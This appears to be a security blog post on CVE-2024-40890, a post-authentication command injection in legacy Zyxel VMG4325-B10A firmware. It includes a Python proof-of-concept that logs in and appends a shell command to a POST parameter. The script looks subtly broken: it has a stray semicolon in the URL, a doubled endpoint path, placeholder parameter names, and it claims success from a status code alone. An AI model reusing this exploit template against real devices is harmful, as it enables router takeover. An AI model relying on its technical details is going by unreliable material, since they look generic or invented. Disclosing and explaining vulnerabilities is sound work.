CVE-2024-40890 is a post-authentication command injection vulnerability found in the legacy firmware of Zyxel VMG4325-B10A DSL modems and routers. The issue was discovered in the firmware version 1.00(AAFR.4)C_20170615, which is unsupported as of the time of this post. An attacker who has successfully authenticated on the affected device can exploit this vulnerability to execute malicious operating system (OS) commands by sending a crafted HTTP POST request.

This blog post provides an in-depth analysis of CVE-2024-40890, including details on how the vulnerability occurs and a code snippet to demonstrate exploitation. We will also provide links to the original references and additional resources to help you understand and mitigate this issue.

Vulnerability Analysis

The root cause of this vulnerability lies in the CGI program of the Zyxel VMG4325-B10A's firmware. Upon successful authentication, an attacker can send a specially crafted HTTP POST request that injects and executes arbitrary OS commands on the router's underlying system.

The exploit takes advantage of insufficient input validation and sanitization in the CGI program's handling of HTTP POST requests. By manipulating specific parameters in the POST request, an attacker can break out of the intended scope and run their desired command on the underlying system.

The following code snippet demonstrates how the vulnerability can be exploited using a simple HTTP POST request:

import requests

# Replace the target URL, username, and password accordingly
target_url = "http://192.168.1.1/cgi-bin";
username = "admin"
password = "password"

# Login to the target device
auth_data = {
    "username": username,
    "password": password,
}
response = requests.post(target_url + "/login", data=auth_data)

# Prepare the malicious payload
session_id = response.cookies.get("session_id")
command_to_execute = "; your_command_here ;"
payload = {
    "sessionId": session_id,
    "functionName": "your_function",
    "parameter": "your_parameter" + command_to_execute,
}

# Send the malicious payload
response = requests.post(target_url + "/cgi-bin-mod", data=payload)

# Check the response for a successful execution
if response.status_code == 200:
    print("Exploit executed successfully")
else:
    print("Failed to execute exploit")

To successfully exploit this vulnerability, an attacker must meet the following requirements

1. The attacker must have valid credentials to authenticate on the affected device. The vulnerability cannot be exploited without authentication.

2. The affected device must be running the legacy firmware version 1.00(AAFR.4)C_20170615. Other firmware versions may not be susceptible to this exploit.

3. The attacker must be able to craft and send HTTP POST requests to the target device, potentially requiring network access to the device.

Original References and Additional Resources

- Original advisory by CVE: CVE-2024-40890
- Zyxel VMG4325-B10A product page: VMG4325-B10A
- Firmware version with the vulnerability: [Download legacy firmware](ftp://ftp.zyxel.com/VMG4325-B10A/firmware/)

Conclusion

CVE-2024-40890 is a critical post-authentication command injection vulnerability in the legacy firmware of Zyxel VMG4325-B10A DSL modems and routers. To minimize the risk of exploitation, users are advised to update their devices to the latest supported firmware and use strong authentication credentials. Administrators should monitor their networks for suspicious activity and immediately investigate any login attempts from unauthorized users.

Timeline

Published on: 02/04/2025 10:15:08 UTC
Last modified on: 02/12/2025 18:12:16 UTC